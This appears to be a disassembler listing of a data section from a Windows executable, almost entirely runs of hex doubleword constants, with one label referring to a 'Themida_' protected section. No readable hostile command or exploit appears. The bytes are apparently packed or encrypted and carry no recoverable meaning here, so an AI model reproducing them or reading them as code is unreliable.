		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 383EC352h, 89179C77h, 0E403458Dh,	38858D07h
		dd 6A07EB67h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 535AC350h, 0F1160144h,	56C1A7F5h
		dd 68D0Fh, 85310000h, 7E41AC1h,	0F19D0B5Fh, 5007E417h
		dd 0AE95250h, 92000000h, 0FB87833Dh, 91865DE0h,	66310F68h
		dd 5A471EB9h, 24048958h, 19CD9D89h, 95FF07E4h, 7E42C35h
		dd 0BFB0EA81h, 0C00B5DD1h, 1B840Fh, 8B660000h, 3D4E9D9h
		dd 820F0000h, 0Dh, 8E9h, 9BDB9B00h, 44D16373h, 0A126685Fh
		dd 0EE94929h, 85000000h, 0B3B601E4h, 2D3E9505h,	88256831h
		dd 24348105h, 4929A00Ah, 95FFFBB5h, 7E40E41h, 0DE8h, 6E60BF00h
		dd 819096E0h, 1AD20BF4h, 8166F722h, 59FC7CC1h, 6738B58Dh
		dd 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 808702C3h, 2820FD2h, 0B1000000h, 3106C730h
		dd 6A363438h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 9F91C357h, 858948CEh, 7E41925h
		dd 6870Fh, 9D890000h, 7E4207Dh,	370446C7h, 6A31342Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 9242C355h, 38D464E4h, 958BF3BDh, 7E42D51h, 846C7h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8989C355h, 0E40A19BDh, 6E807h, 52950000h
		dd 1DBCB146h, 8C0F50h, 59000000h, 6A006A59h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0FDB1C351h, 30B62CEBh, 950364CAh, 7E42631h, 0DE85752h
		dd 0F9000000h, 94919A12h, 96978E7Ch, 63CB4D0Dh,	8D5B5B5Fh
		dd 0EB673885h, 3BA6607h, 52509017h, 0D98B6656h,	0E9310F5Bh
		dd 7, 39F3A3E6h, 5ADF77A1h, 8E85058h, 0B5000000h, 2DBA95F9h
		dd 0BF4B1A75h, 1C074147h, 9D33905Bh, 7E42D59h, 2C3595FFh
		dd 0BD8B07E4h, 7E42EFDh, 0C5CED781h, 0C00B7B96h, 45840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0E33005C3h, 1D9AD6F2h, 0FD958960h, 0E807E41Ch
		dd 8, 91079735h, 5AB9ABFFh, 61585A56h, 241DB589h, 0D3E907E4h
		dd 68000001h, 0F4A81A0h, 348196B7h, 4A808C24h, 4195FF0Fh
		dd 907E40Eh, 0E4333D9Dh, 0F605007h, 8Fh, 0EE900h, 3DC50000h
		dd 4133086Ch, 3684110Ch, 34D50029h, 0B58D5B61h,	7EB6738h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 76C35141h
		dd 0F741CCC6h, 6E64964Ch, 4606C75Ch, 0B1656C69h, 446C763h
		dd 636E6F6Dh, 6880Fh, 950B0000h, 7E42C51h, 25BDB531h, 46C707E4h
		dd 73616C08h, 51006A73h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0DA4B75E4h, 0EDF517h, 9D89ACE9h
		dd 7E40E69h, 0AE8h, 0FA8F0700h,	58763D57h, 66FB658Ah, 5B0701BAh
		dd 0C46C7h, 0F000000h, 586h, 95D9BB00h,	6A0E2Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 29C35343h, 9B4C6A95h
		dd 0EE580AD2h, 0E99D8BFEh, 8D07E40Eh, 0EB673885h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 8DA1AF80h, 0EF406B4Fh, 8B669046h, 0D2B250F9h, 57006A90h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C3F95BA0h, 0C3DACFF8h, 0FCB63493h, 2C3595FFh, 6A07E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 86DEDAC3h, 0C00BFFDCh, 35840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D8989C3h
		dd 7E43075h, 598D2356h,	5A07E42Bh, 15E9h, 0C59D8B00h, 0E907E420h
		dd 0FFFFFAA6h, 18B0Fh, 66F90000h, 0B58DCF8Bh, 7E472B7h
		dd 0DE58D33h, 0B807E4h,	0F000000h, 68Dh, 39858900h, 0FF07E431h
		dd 57006AE6h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0ED2268C8h, 253A3B77h, 9D8B3C42h, 7E4140Dh
		dd 29E9C18Bh, 72000039h, 0CEE4789Ah, 2B41D5F5h,	8BA1354Fh
		dd 0EE0498ACh, 8A63F713h, 0F410EB64h, 52704A60h, 0B4CAA8BEh
		dd 152D0A20h, 0A11ECE81h, 13A9CEDAh, 54A43378h,	17F49277h
		dd 0A0F48B08h, 0F9621442h, 0BBCD68A0h, 65ACC4A1h, 7A5621AAh
		dd 38502Dh, 0AAC50C65h,	61795621h, 7A9A7311h, 7D4E9368h
		dd 165D7D56h, 35922092h, 4159ABCBh, 77E0692Fh, 94CBAF1Fh
		dd 0D3EBE0EFh, 7C56F193h, 0D932522Bh, 0B618AA92h, 37C8B644h
		dd 0E24DE0DFh, 1442411Dh, 693E50B9h, 165D7D56h,	785621AAh
		dd 7D5C2A62h, 2AF33169h, 3634367Ah, 0EBB8DC4h, 8FA13385h
		dd 0E893D3BAh, 0A0720986h, 77E01442h, 79569065h, 42A0AD4Fh
		dd 6ABA2314h, 0A8E1BFF8h, 1C2EBEDEh, 450AC147h,	0AC108203h
		dd 0FAA1C5FAh, 0A444192Bh, 0F193D327h, 0AD4F7956h, 231442A0h
		dd 3B94A887h, 87E9D9F4h, 42A0750Ah, 6678E114h, 61795691h
		dd 567D4E1Ah, 0AA1B6278h, 62785621h, 0B618AA1Bh, 0B5203E18h
		dd 1442A0CEh, 0B897238Ch, 0BFD16CA4h, 880E45EAh, 93D317B4h
		dd 576B4AE8h, 78567045h, 7D4E1B62h, 0F5F7B56h, 40789871h
		dd 0DBCAA69Eh, 6BC4C30Eh, 20928459h, 8BA6F46Dh,	16C5D730h
		dd 5F7B565Fh, 5B0AC118h, 0E893D370h, 0A0720986h, 77E01442h
		dd 79569065h, 21AA1A61h, 175E7C56h, 9C7A18AAh, 0A1B34E86h
		dd 0D3EBE0CCh, 7856F193h, 0E5DD1B62h, 19516B47h, 0FD15F27Eh
		dd 785616EBh, 5C661B62h, 0B8CAE0BEh, 627856E3h,	567D4E1Bh
		dd 0B0126278h, 42A04C33h, 8F6E0A14h, 3B10227Bh,	785621AAh
		dd 33B01262h, 1442A04Ch, 0A2DAF2CFh, 3B4DB607h,	560AC166h
		dd 0C11B6278h, 92705B0Ah, 75F33C20h, 0F204291Ah, 92731155h
		dd 0B0327720h, 54662906h, 0CE4B603Ah, 14425E29h, 5E5229A6h
		dd 97001442h, 3D84DD46h, 0F4920AC1h, 0D2ECFE18h, 0F08EDEF4h
		dd 10E5F717h, 4177F2D9h, 1914425Fh, 1B627856h, 78567D4Eh
		dd 85A01262h, 2155BEA7h, 0C1EABFD1h, 4F79560Ah,	1442A0ADh
		dd 39B0B323h, 5A663C0Fh, 0AC1BA01h, 93D314B7h, 2F7856F1h
		dd 69043C50h, 0F2D9C910h, 1B627856h, 9512744Eh,	1442A0EEh
		dd 1CF1036Ch, 19607A56h, 7D5621AAh, 0EEDD165Dh,	19607A56h
		dd 44776566h, 14144240h, 10607A56h, 77A26E9Eh, 0AD48809Ch
		dd 0BE61244Dh, 7D4ED7ACh, 19607A56h, 367721AAh,	0FDEBBD5Fh
		dd 0EBCFF8Bh, 7183A267h, 6179569Ch, 677D5B29h, 6E82612Fh
		dd 0D79E9B36h, 0E7E6E3AFh, 56F193D3h, 9219607Ah, 0F3CE15F4h
		dd 0AB049FD7h, 0FF9D7799h, 33CE0626h, 78564C21h, 21AA1B62h
		dd 45B3CE77h, 1BF795E0h, 1C2EC901h, 44E2E047h, 6A3F5165h
		dd 0CCB33092h, 8A1442A0h, 0C0F812EEh, 0FF7CCC25h, 1442A078h
		dd 0BE5B6DD6h, 1461D386h, 6843CFECh, 56FACFE1h,	7210607Ah
		dd 0AA457D95h, 7D4EC398h, 8F202092h, 9BCDE959h,	15876D89h
		dd 0AD851762h, 0D0A5B719h, 3B777754h, 0A1442BFh, 80542BA8h
		dd 99021442h, 7856B287h, 0E33C502Fh, 0CF16F593h, 39ED6F6h
		dd 0AAC398AAh, 6B09B921h, 0A03B7391h, 3092B98Eh, 0DB2266BEh
		dd 0ECFE9748h, 42ED0CF3h, 0EC69CB14h, 1442ED17h, 344827C3h
		dd 0F60861FCh, 9267AE17h, 0A0CCB330h, 307B1442h, 9D061F9Ah
		dd 1693F344h, 1442E161h, 0CB2B84EDh, 76BEA32Fh,	0BEE0F264h
		dd 0B82277EDh, 53F11442h, 910E5E76h, 1442B9EAh,	18EDFF68h
		dd 1A617956h, 12B921AAh, 0B5923092h, 0ED928B9Dh, 6A1442A0h
		dd 30EE73F8h, 43D93955h, 0CBE7C26Bh, 8D9FF893h,	1A3812AEh
		dd 0F4927AC1h, 9472FE18h, 794A6C7Eh, 42DD5177h,	77562914h
		dd 97751363h, 929A6F81h, 0ECCB18F4h, 0AC477FD8h, 182A4420h
		dd 0DF4EC052h, 9C1774F7h, 0EB17F8h, 227B9E7Bh, 79563B10h
		dd 658E2961h, 6E1592BEh, 0EC1442A0h, 7D4E3C83h,	0D9EDCCBAh
		dd 5C67445h, 42A08077h,	0E6E55814h, 4AE893D3h, 7045576Bh
		dd 115F492h, 61DE2EC9h,	1442A09Ah, 0FBBDCF38h, 5E7C566Ah
		dd 0F00D9C0Eh, 0FD43813Eh, 309216EBh, 0AA7135BEh, 3EA9E655h
		dd 14429CB9h, 859B7915h, 985FDC2Ch, 3614429Ch, 6CF5BBCDh
		dd 159212B9h, 1442A06Eh, 4E3C83ECh, 607A567Dh, 9221AA19h
		dd 0ECFE18F4h, 6DAE42F3h, 9573114Dh, 56986D7Fh,	4E19607Ah
		dd 697A567Dh, 42A017ECh, 15AC314h, 1AF492BAh, 9B24EAFCh
		dd 0AC85239Fh, 0AA86548Ch, 46D73790h, 0F6E7ED58h, 0D3DAAFC1h
		dd 744EF193h, 0A0EE9512h, 36C1442h, 7A561CF1h, 199E1060h
		dd 2D4522ADh, 45FA5AF5h, 5227391Eh, 2C9F21AAh, 4EF193D3h
		dd 607A567Dh, 7D957210h, 7F9D7745h, 0A259D626h,	301442A0h
		dd 0AAE0B5C7h, 4239B618h, 101442A0h, 77C095A7h,	4A898CDBh
		dd 0D30BC0B3h, 986E893h, 1442A072h, 906577E0h, 16F492h
		dd 11B2DC8h, 4EC40B25h,	597A567Dh, 0CE225677h, 3C520B89h
		dd 11900868h, 920047A0h, 0EDFF17F4h, 7C569E27h,	7D4E175Eh
		dd 19607A56h, 0F4927D4Eh, 0CFE9FB1Bh, 0AA93DAF2h, 0FF057721h
		dd 56D5049Ch, 921A6179h, 0A0CCB330h, 218A1442h,	0A0AF54D1h
		dd 0C22B1442h, 56BD8EB0h, 92175E7Ch, 0C80016F4h, 47370226h
		dd 0C9229C94h, 5668F1B7h, 0AA1A6179h, 607A5621h, 667C5A28h
		dd 6787602Eh, 0AFE3A36Ah, 93D3B3B2h, 213076E8h,	0B4F88A15h
		dd 0F492CDA2h, 29C4FC1Ah, 523FD17h, 72092BEh, 5D4540D6h
		dd 639BB792h, 3B5D6FC8h, 0AA12B96Ah, 61795621h,	927D4E1Ah
		dd 0C7FF17F4h, 0A0C3B835h, 268F1442h, 5011BBCDh, 42A08077h
		dd 5E6D5814h, 0AEF193D3h, 5E7C561Dh, 9221AA17h,	0AC3D120h
		dd 65777F63h, 4C256C4Bh, 0E562F42Ch, 1442D51Eh,	0A1FA53BCh
		dd 6D21AA5Ah, 0E893D35Eh, 43556D4Ah, 2B7C566Eh,	8ADA3351h
		dd 0D9EC13ECh, 95D7AA3Bh, 6946D22Bh, 6C7E1951h,	567D4E97h
		dd 0AA1B6278h, 4239B618h, 101442A0h, 25DA57A7h,	0B11442A0h
		dd 77613648h, 49CFF05h,	2F7856D5h, 20D3253h, 9B38C76Ah
		dd 166F0A42h, 567D4ECFh, 0AC0E5E7Ch, 42A0482Fh,	8B9D0614h
		dd 5621AAB6h, 0A4CB5B78h, 3C38487Ah, 21AA9CE3h,	93D35E6Dh
		dd 5E7C56F1h, 567D4E17h, 9EE6B78h, 0C51442A0h, 41B3035Ch
		dd 0CCC81D4Dh, 754A5CD0h, 474D7D4Eh, 0A81E1B60h, 3A54B4CAh
		dd 4289E25Ah, 115F492h,	561C2EC9h, 617956CDh, 567D4E1Ah
		dd 4E175E7Ch, 0E3F7D674h, 51637957h, 0B34B777Ch, 56231442h
		dd 0AE10607Ah, 42A04A31h, 0CA980814h, 6D4DF3C8h, 0F3C8DA33h
		dd 0CCB33092h, 8A1442A0h, 0C0490F21h, 926B09B9h, 8D9F3A72h
		dd 6E1592B8h, 0EC1442A0h, 7D4E3C83h, 7A5605C6h,	20921960h
		dd 26D6BF9Dh, 9EC0D291h, 1EE562C4h, 0BC1442DFh,	926C4153h
		dd 0C80016F4h, 25011B2Dh, 21AAC40Bh, 42A08077h,	5E6D5814h
		dd 56F193D3h, 4E19607Ah, 16F4927Dh, 69D3A000h, 7840600Ch
		dd 56704C66h, 7721AA0Fh, 1442A080h, 5F7B5658h, 647C5927h
		dd 7E26ED2Ch, 0CB2D3532h, 42A0A94Eh, 0F50DEA14h, 54293BA4h
		dd 92F193D3h, 9C626320h, 495B1023h, 0E939532Fh,	43556F4Bh
		dd 927D4E6Eh, 0EFCA19F4h, 0A7009BD3h, 529F7B95h, 92245C76h
		dd 42A06E15h, 2A83EC14h, 21AA8AD1h, 439709B9h, 4B5F3E88h
		dd 2F6759EBh, 3092481Dh, 0A0AA51CEh, 0C8281442h, 42A0B44Bh
		dd 60B92214h, 0A0AE554Eh, 8F2D1442h, 0A88799B3h, 18AAF83Fh
		dd 0A04239B6h, 4011442h, 9440FFBCh, 7284ED3Eh, 6402C09Dh
		dd 9A356D89h, 93D3B388h, 607A56F1h, 927D4E19h, 42A06E15h
		dd 5A83EC14h, 182E0CAAh, 18AA3106h, 4A82A07Ah, 56C89DAFh
		dd 9219607Ah, 0EECD16F4h, 0A96F81DAh, 0D30BC020h, 12B9F193h
		dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0ECFE18F4h, 95DCF6D2h
		dd 12B921AAh, 0A06E1592h, 50EC1442h, 87225A74h,	21AAE72Eh
		dd 93D30BC0h, 607A56F1h, 0AE7D4E19h, 1BF4921Dh,	0F0CFE9FBh
		dd 0AD2A8CDCh, 1442A0D6h, 0F00EE884h, 0B2C41DB8h, 0A618AADDh
		dd 0F67B1236h, 5DAEC1Ch, 275F7B56h, 92BC638Ch, 0C6FE18F4h
		dd 0A0C0B734h, 258E1442h, 470C6CCCh, 82EEC8DDh,	6E159270h
		dd 0ED14424Ch, 9C9EAD7Bh, 0DBEDE5B5h, 924C93FCh, 0E9FB1BF4h
		dd 0E8BEDC7h, 1442A069h, 0CCAD75E5h, 0A2D68290h, 92623749h
		dd 0C90115F4h, 57231C2Eh, 61442A0h, 0FE7B8C68h,	1442A079h
		dd 1136CD5h, 0B330922Ch, 1442A0CCh, 0F50F218Ah,	4EBB0216h
		dd 6179567Dh, 7A18AA1Ah, 0AF4A82A0h, 7756C89Dh,	9B751363h
		dd 0AA966B7Dh, 879B7A18h, 4D28B44Fh, 564A1F31h,	58265E7Ch
		dd 0E8275F7Fh, 8E2D6521h, 0ED2092D3h, 0E6292617h, 9EC66375h
		dd 617956E4h, 0B97D4E1Ah, 5621AA12h, 0B1136377h, 42A04F34h
		dd 90A20B14h, 0C67D4EBBh, 0A0807705h, 6D581442h, 0BFDDB755h
		dd 8260EC87h, 0D3855A6Ch, 1DAEF193h, 0ED6A7956h, 1442A016h
		dd 304E28C4h, 576D4BD7h, 0E42B841Fh, 817721AAh,	591442A0h
		dd 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh,	2BB42414h
		dd 63E78CD7h, 0F594A6FFh, 2F2h,	50997715h, 89245C72h, 0D5DF830h
		dd 422DEB90h, 0ECFE6714h, 5F7B5617h, 4B30AD0Fh,	71442A0h
		dd 1F788C6Bh, 21AA380Dh, 42A08777h, 7B565714h, 7D4E185Fh
		dd 42FC2A77h, 20920214h, 14613F28h, 0D99FCFAEh,	0AA59E36h
		dd 1FE461B1h, 0BB144296h, 4A264052h, 0C6757B29h, 0AD060F7Ah
		dd 0B921AA66h, 6E159212h, 0EC1442A0h, 0C69FD57Ch, 166FCAE3h
		dd 19F492CFh, 182AC5FDh, 209225F6h, 748FED56h, 0C9698B39h
		dd 0C6121F7Fh
		dd 28453E50h, 0B45DD833h, 19607A56h, 7A567D4Eh,	879E1060h
		dd 0FB0DBC0Bh, 0C8E7D37Eh, 0FF58EEC8h, 6D7F9573h, 7721AA98h
		dd 0AFA55527h, 0D35E6DF7h, 0F492F193h, 0CFE9FB1Bh, 0EB89D9F3h
		dd 0F810F10Ch, 4B0375EBh, 0D1FBAF2h, 17F49238h,	7A9A73FFh
		dd 56754668h, 35552E79h, 10EE8CDCh, 0A812BF3h, 2A838A6Fh
		dd 0ECCB57F2h, 0F305A0D8h, 9221AA1Eh, 0C7FF17F4h, 24001A2Ch
		dd 21AAC30Ah, 93D3E6E5h, 1AF492F1h, 1729C4FCh, 0FAD520FDh
		dd 4E3E85DEh, 0DFFBD674h, 7A56F8CDh, 0A017EC69h, 5AC31442h
		dd 2092BA01h, 37904E57h, 837E5048h, 0AD797F17h,	0D1EDC854h
		dd 56CC9DBFh, 0AA1A6179h, 0B3309221h, 1442A0CCh, 0F50F218Ah
		dd 0AAB7FE1Ah, 0BC54A618h, 50A51E99h, 556D693Eh, 4BC8DDB7h
		dd 1442A0B4h, 4E60B922h, 0F193D379h, 785A7956h,	3BF12538h
		dd 0D70F2F08h, 3A8AE33Ch, 6FA7BF9Ch, 92EDC2D4h,	0A0CCB330h
		dd 218A1442h, 7513ED0Fh, 976C7E9Ah, 1A617956h, 0B17721AAh
		dd 8911C0E5h, 115C7756h, 72D5C2C0h, 26C80059h, 0C1E857A3h
		dd 280591BDh, 0F774D810h, 7F8E034Fh, 0FB1BF492h, 791628C3h
		dd 771C8ECDh, 4721A836h, 0ED0BE571h, 795606DBh,	7D4E1A61h
		dd 0F49212B9h, 27EDFF17h, 5F7B569Eh, 567D4E18h,	0AA1C6377h
		dd 0E7CBA618h, 1292F210h, 20922B00h, 0F5FA526h,	7DCDB9h
		dd 1442D27Bh, 0B25C6ED7h, 637756F1h, 567D4E1Ch,	0AA1C6377h
		dd 16F49221h, 7ED7F1CDh, 4037B446h, 0E1442A0h, 413A4CA5h
		dd 1442A0BAh, 83A17B19h, 556D9C71h, 0A08176F3h,	0EE3E1442h
		dd 0DAB16362h, 0ABBD2677h, 0B33092D6h, 1442A0CCh, 859734Fh
		dd 0B4F08D9Fh, 0B330920Eh, 1442A0CCh, 3E991A8Ah, 7ADAEEC6h
		dd 16F50F21h, 7D4EBB02h, 0FD19F492h, 0FE182AC5h, 59BB0B1Fh
		dd 42A027DCh, 384AB314h, 0A618AA63h, 520027BBh,	6B405251h
		dd 42A08077h, 5E6D5814h, 76E893D3h, 0CE4BAA66h,	36195D3Eh
		dd 795BE1CCh, 56390E20h, 921C6377h, 0A0CCB330h,	218A1442h
		dd 0B91CED0Fh, 5621AA12h, 0AA1C6377h, 9212B921h, 42A06215h
		dd 7754F014h, 0FE36502Ch, 40D20A63h, 42A03CC3h,	0D8319A14h
		dd 7D4E387Fh, 1C637756h, 1DAE7D4Eh, 0F069Eh, 79562D00h
		dd 23A502Eh, 4CBE0E67h,	2749DAB8h, 0D2A7B9DCh, 8F7721AAh
		dd 5F1442A0h, 93D3418Ah, 176A95F1h, 0CA2CE05Ch,	42A2B64Dh
		dd 47B42414h, 0AB26A8BBh, 6C0B1D76h, 614h, 597A5695h, 4B449099h
		dd 337AD3C6h, 39B618AAh, 1442A042h, 0C095A710h,	16F492h
		dd 0E0F6D4EEh, 7721AA99h, 3DBB784h, 2F785654h, 99E03953h
		dd 20927D4Eh, 0B6BDB784h, 251E308Ch, 4B00FA1Ch,	607A5648h
		dd 567D4E19h, 0AA19607Ah, 62785621h, 7F977412h,	0C59AAC47h
		dd 5E6D21AAh, 86E893D3h, 42A07209h, 6577E014h, 607A5690h
		dd 0B97D4E19h, 9221AA12h, 0A0CCB330h, 0EE8A1442h, 8C9EF713h
		dd 78779472h, 165B5F79h, 4E79C019h, 9205C67Dh, 0E9C81BF4h
		dd 0A9447CD5h, 0A0D99E97h, 0D8761442h, 0BCD6B2F9h, 7E90E984h
		dd 925E6DA9h, 0EDFF17F4h, 0AE6E1450h, 607A561Dh, 79997210h
		dd 0BC5F9F41h, 7E745296h, 0AA3E1325h, 7F0E4521h, 0DBED03E1h
		dd 0D317B406h, 7A56F193h, 7D4E1960h, 0CCB33092h, 8A1442A0h
		dd 19F50F21h, 963DAFFFh, 0CA7009BDh, 0AA9B7082h, 1BF49221h
		dd 1628C3FBh, 42A0631Dh, 3D80F214h, 64D33613h, 0C2582D3Fh
		dd 0F193D309h, 4E2D7A56h, 0A031C643h, 349D1442h, 7C08A3DBh
		dd 0B44F879Fh, 744E145Bh, 0A0EE9512h, 6E5D1442h, 0BE8A212Dh
		dd 127BCCh, 607A562Bh, 19209219h, 65B85248h, 97BDFC5Ch
		dd 9B453FAEh, 773AC389h, 5093A2B9h, 6BDDE591h, 0A2A274D3h
		dd 0FFD4E683h, 56F193D3h, 9219607Ah, 9DB59230h,	42A04D32h
		dd 0D9F1CE14h, 4CB506A1h, 0A03E183Ah, 0C69BADC1h, 0FB1BF492h
		dd 18F5C3h, 22421BA7h, 1AF610h,	7721AAB9h, 82DD18E5h, 0D30BC0B5h
		dd 0F492F193h, 0CFE9FB1Bh, 4E92D9F3h, 6179567Dh, 16F4921Ah
		dd 9F28EE00h, 0EAAD9777h, 0DDE56756h, 3446663Fh, 0F193D35Fh
		dd 0CCB33092h, 8A1442A0h, 0A0D6AD2Ah, 1B841442h, 0B996B0C2h
		dd 20925AA1h, 0D3136F8h, 3B5D6FCEh, 18F4926Ah, 0F5D2ECFEh
		dd 0A09269E6h, 0D7401442h, 21AA377Eh, 0ABE3C377h, 0E6E59B7Dh
		dd 56F193D3h, 4E1A6179h, 6179567Dh, 5621AA1Ah, 0AA19607Ah
		dd 0D35E6D21h, 7956F193h, 0A016ED6Ah, 5BC41442h, 7D4EBB02h
		dd 0EE6B7856h, 1442A009h, 0A0B249C6h, 0B7201442h, 5DA4FD66h
		dd 0F49221AAh, 0F0E9FB1Bh, 7DABE348h, 46209214h, 4C5D7FE9h
		dd 512F495Bh, 0D9112D08h, 4E9EE53Eh, 6179567Dh,	17F4921Ah
		dd 9E27EDFFh, 12627856h, 1C3612B0h, 19DE49E4h, 0B51442A0h
		dd 0AA653A4Ch, 0D35E6D21h, 7956F193h, 7D4E1A61h, 12627856h
		dd 0F17D9974h, 29C4FC14h, 7D4E4217h, 165D7D56h,	7E7721AAh
		dd 4E58B6A4h, 165D7D56h, 7D567D4Eh, 0BE3B502Ah,	1442A039h
		dd 9BD32C95h, 0E557A700h, 0B406EB43h, 0AA00B9B7h, 29B31272h
		dd 0AAF0C5D7h, 16F49221h, 1826C800h, 7F875D75h,	0DDD6E841h
		dd 26F2516Ch, 0D3E6E508h, 7D56F193h, 0F492165Dh, 0C7E9FB1Bh
		dd 5D7D56F6h, 4521AA16h, 17B4870Fh, 56F193D3h, 4E165D7Dh
		dd 567D567Dh, 14E4183Fh, 3C83DC9Bh, 209221AAh, 72748E3Bh
		dd 4F485ADBh, 61E5EC6Ch, 3EDCE6ECh, 410F4763h, 76114967h
		dd 0D3360B1Dh, 7D56F193h, 7D4E165Dh, 0FC1AF492h, 0D7F7D0EAh
		dd 7721AA90h, 6F91EA5Ah, 93B18B29h, 0FF112B07h,	6BDDE52Ah
		dd 0F514DF45h, 360B1D12h, 92F193D3h, 0A0CCB330h, 218A1442h
		dd 0FC1CF50Fh, 567D4EB5h, 0AA165D7Dh, 9F517721h, 0E529531Ah
		dd 0F193D3E6h, 165D7D56h, 9512744Eh, 1442A0EEh,	1CF1036Ch
		dd 165D7D56h, 209221AAh, 0F59E0865h, 261F31A7h,	7B96A147h
		dd 0D3E6E515h, 0F492F193h, 0D3EDFF17h, 0EC8ADAFAh, 11E6F80Eh
		dd 79567D4Eh, 0A016ED6Ah, 48C51442h, 1442A0B3h,	0FC65B61Fh
		dd 21AA5CA3h, 0E9667D56h, 1442A012h, 0B7FE57C0h, 5E6D21AAh
		dd 56F193D3h, 4E1A6179h, 0DDFDD674h, 7D56F6CBh,	0FD354D2Ah
		dd 4EC20962h, 607A567Dh, 4A31AE10h, 81442A0h, 4EB88D9Fh
		dd 5E7C567Dh, 0C621AA17h, 2B7C5605h, 60FB3351h,	7D4EC007h
		dd 0EA677C56h, 1442A015h, 0B8FF58C1h, 0F49221AAh, 0F0E9FB1Bh
		dd 1442A00Bh, 0D35E6DD1h, 6C4AE893h, 926F4456h,	0A0CCB330h
		dd 0EE8A1442h, 52A2FB0Fh, 42A02ED5h, 3143AC14h,	13EC3D17h
		dd 0C720BBF3h, 567D4E80h, 0AA175E7Ch, 0A0807721h, 0B14F1442h
		dd 0BE45C2D7h, 1C1442A0h, 73485AB3h, 93D3E6E5h,	5E7C56F1h
		dd 7896700Eh, 0BE93A540h, 64CE2092h, 0BD15AF07h, 2A3C5431h
		dd 9B93708h, 0A0552AA7h, 98011442h, 18AAB186h, 799C34A6h
		dd 99ABDDB9h, 5E7C56C4h, 0B921AA17h, 62159212h,	0F11442A0h
		dd 0A06D128Fh, 80E91442h, 0C90115F4h, 0D43D1C2Eh, 927D4E8Dh
		dd 0A0CCB330h, 218A1442h, 0FD1BF50Fh, 16F492B6h, 1B2DC800h
		dd 0A3811FF9h, 0AEA67B8Dh, 6377561Dh, 81977513h, 21AA9A6Fh
		dd 29617956h, 92BE658Eh, 1CFDBE30h, 517C6D72h, 87B1463Fh
		dd 801E1442h, 3F7F81A6h, 0E7B2F37Ah, 0A9BB568Eh, 4E1A61CAh
		dd 0F274777Dh, 92441442h, 0EDFF17F4h, 90E0F4D3h, 0A0CAB12Eh
		dd 1F881442h, 7D4E380Dh, 0B842092h, 6D46F3BDh, 4C64415Bh
		dd 7721AA05h, 7468F86h,	6BDDE556h, 7F60B291h, 582D3F1Dh
		dd 56F193D3h, 48705A79h, 8070791Dh, 0B44F87A7h,	4EBB025Bh
		dd 6179567Dh, 0B618AA1Ah, 42A04239h
		db 14h,	10h
word_5FA4F2	dw 95A7h		; DATA XREF: Themida_:00585364o
		dd 637756C0h, 15F4921Ch, 1C2EC901h, 0E6E5CD56h,	76E893D3h
		dd 0D522423Dh, 0DEA5229Bh, 7C144230h, 0D3A8BA13h, 1A617956h
		dd 79567D4Eh, 21AA1A61h, 468F8677h, 556D5607h, 0ADBFDDB7h
		dd 0F193D3D8h, 1A617956h, 0FF17F492h, 0A04D32AFh, 0A0091442h
		dd 0B99B6C8Eh, 5621AA12h, 4E1C6377h, 7705C67Dh,	1442A080h
		dd 63775658h, 6A7E5D2Bh, 5C23A032h, 0FA1442A0h,	98CC9591h
		dd 0C10926D1h, 116A0FE8h, 93D38D9Ch, 7614AEF1h,	0AB467E9Ch
		dd 0B89EC499h, 2D000008h, 42A21677h, 7B56E614h,	0DF384E2Ch
		dd 0CBB02D8Fh, 871442A0h, 0AA370C1Eh, 9212B921h, 0E9FB1BF4h
		dd 0A0E98E0Bh, 0C8661442h, 0CD9BD3EBh, 6A1D9EFh, 2A4621ADh
		dd 664557F2h, 7D4EB6FDh, 807705C6h, 581442A0h, 93D3E6E5h
		dd 0C61DAEF1h, 0A709B905h, 42A0552Ah, 24A10114h, 1442A05Fh
		dd 273992FBh, 6E159252h, 0ED1442A0h, 0A0690E8Bh, 7CE51442h
		dd 0DB228B6Ah, 77567D4Eh, 21AA1C63h, 42A08077h,	77565814h
		dd 96751363h, 4E9B7082h, 9212B97Dh, 42A06E15h, 3C83EC14h
		dd 0CCB33092h, 8A1442A0h, 1431C121h, 9E1B1ACh, 56A831F7h
		dd 0AA1C6377h, 925E6D21h, 0EE0016F4h, 0F4661551h, 0AD2A5039h
		dd 14426AD6h, 4ABB1B84h, 92A6B9AFh, 0ECCBCA11h,	0B9AC8193h
		dd 6C59709h, 69C9E5C0h,	676BF9A0h, 9FC83610h, 0F4C9DB34h
		dd 0A06E1592h, 83EC1442h, 18F4923Ch, 192BC6FEh,	5F3BD93Bh
		dd 453A3345h, 111442A0h, 0DCBA58A8h, 0E7C08EC6h, 875C6EC7h
		dd 30927D4Eh, 42A0CCB3h, 0CB0D7B14h, 0E0E9E8FCh, 0FA14268Fh
		dd 0EC93101Bh, 6A144250h, 4E61A801h, 42A10274h,	7B133F9Eh
		dd 0F4929469h, 2DC80016h, 0A26011Bh, 567D4EC3h,	710F5F7Bh
		dd 2D097594h, 0B520DDECh, 0AA754A5Ch, 0A0807721h, 0ED4F1442h
